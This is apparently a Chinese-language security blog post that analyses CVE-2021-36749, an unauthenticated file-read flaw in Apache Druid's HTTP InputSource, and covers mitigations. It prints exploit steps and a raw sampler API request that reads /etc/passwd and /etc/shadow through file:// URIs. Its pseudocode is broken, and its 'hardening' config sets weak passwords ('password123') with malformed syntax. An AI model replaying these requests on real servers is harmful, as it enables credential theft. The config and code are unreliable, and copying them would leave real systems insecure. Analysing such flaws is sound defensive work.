Apache Druid <=0.21.1 漏洞深度剖析:HTTP InputSource 未授权访问的3层防御失效
Apache Druid HTTP InputSource 安全漏洞的三重防御失效机制解析漏洞背景与影响范围Apache Druid作为一款高性能的实时分析数据库在数据处理领域占据重要地位。2021年曝光的CVE-2021-36749漏洞影响了0.21.1及以下版本该漏洞允许攻击者在未授权情况下读取服务器任意文件导致严重的信息泄露风险。受影响版本Apache Druid ≤ 0.21.1安全版本Apache Druid ≥ 0.22.0漏洞成因的三层防御失效1. 默认无认证机制的设计缺陷Apache Druid管理界面默认不启用任何身份验证机制这为攻击者提供了直接入口。在安全评估中我们发现[攻击路径] 无需认证 → 直接访问管理接口 → 获取系统控制权对比分析安全机制理想状态Druid实际实现身份认证强制认证完全开放权限控制最小权限无限制访问日志完整记录基础记录2. HTTP InputSource 的未过滤漏洞InputSource组件负责从外部数据源读取信息但其HTTP实现存在严重缺陷// 伪代码展示漏洞核心 public class HTTPInputSource { public void fetchData(String uri) { // 未对uri协议进行校验 File file new File(URI.create(uri)); return Files.readAllBytes(file); } }攻击向量利用file://协议读取本地文件通过http://访问内网服务使用特殊构造的URI绕过基础检查3. 权限继承机制的滥用Druid服务进程通常以较高权限运行导致漏洞影响被放大# 典型Druid进程权限 $ ps aux | grep druid druid 12345 1.5 2.8 1023456 89456 ? Ssl 10:00 0:15 /usr/bin/java -server -Xms256m -Xmx256m关键风险点进程默认拥有运行用户的所有权限可访问系统关键文件如/etc/passwd能够读取应用配置文件获取数据库凭证漏洞利用的实战分析基础利用方式通过Web界面直接触发漏洞访问http://target:8888/unified-console.html导航至Load data → HTTP(s) → Connect data在URIs字段输入file///etc/passwd点击Apply执行读取操作API接口直接利用当Web界面不可用时可直接调用后端APIPOST /druid/indexer/v1/sampler HTTP/1.1 Host: target:8888 Content-Type: application/json { type: index, spec: { ioConfig: { type: index, inputSource: { type: http, uris: [file:///etc/shadow] } } } }防御措施与修复方案临时缓解方案网络层控制限制Druid端口的外部访问配置防火墙规则只允许可信IP访问系统层加固# 创建专用低权限用户 useradd -r -s /bin/false druid_runtime chown -R druid_runtime:druid_runtime /opt/druid永久修复方案升级路径当前版本建议版本升级注意事项0.19.00.22.0需要数据迁移0.20.00.22.0配置兼容性检查0.21.00.22.0直接升级安全配置增强在common.runtime.properties中添加# 启用基础认证 druid.auth.authenticatorChain[basic] druid.auth.basic.initialAdminPasswordpassword123 druid.auth.basic.initialInternalClientPasswordpassword123 # 限制InputSource类型 druid.ingestion.security.allowedInputSources[s3,hdfs]深度防御体系建设1. 安全开发实践输入验证框架集成自动化安全测试流程安全设计模式应用2. 运行时防护推荐架构[客户端] → [WAF] → [认证网关] → [Druid集群] ↓ [审计日志系统]3. 持续监控关键监控指标异常文件读取行为非授权API调用敏感文件访问尝试漏洞的启示与最佳实践从这次漏洞事件中我们可以总结出以下关键经验默认安全原则新安装应默认启用安全配置提供明确的安全指引文档组件隔离策略网络分区部署最小权限运行纵深防御体系多层验证机制输入输出过滤行为监控审计在实际生产环境中我们建议不仅修复该特定漏洞更要建立全面的安全开发生命周期将安全考量融入每个设计和实现环节。